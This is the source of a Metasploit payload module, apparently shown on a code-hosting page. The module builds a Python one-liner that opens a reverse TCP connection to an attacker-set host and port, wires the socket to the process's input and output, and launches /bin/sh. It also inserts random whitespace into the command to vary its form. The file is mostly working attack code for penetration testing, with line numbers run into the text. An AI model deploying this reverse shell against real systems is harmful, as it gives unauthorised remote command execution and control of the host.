Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Python12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Reverse TCP (via Python)',17'Version' => '$Revision: 1 $',18'Description' => 'Connect back and create a command shell via Python',19'Author' => 'bcoles',20'License' => MSF_LICENSE,21'Platform' => 'unix',22'Arch' => ARCH_CMD,23'Handler' => Msf::Handler::ReverseTcp,24'Session' => Msf::Sessions::CommandShell,25'PayloadType' => 'cmd',26'RequiredCmd' => 'python',27'Payload' => { 'Offsets' => {}, 'Payload' => '' }28))29register_options(30[31OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])32]33)34register_advanced_options(35[36OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])37]38)39end4041def generate(_opts = {})42return super + command_string43end4445#46# Generate random whitespace47#4849def random_padding50" "*rand(10)51end5253#54# Generate command string55#5657def command_string58raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"59cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")60"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""61end62end636465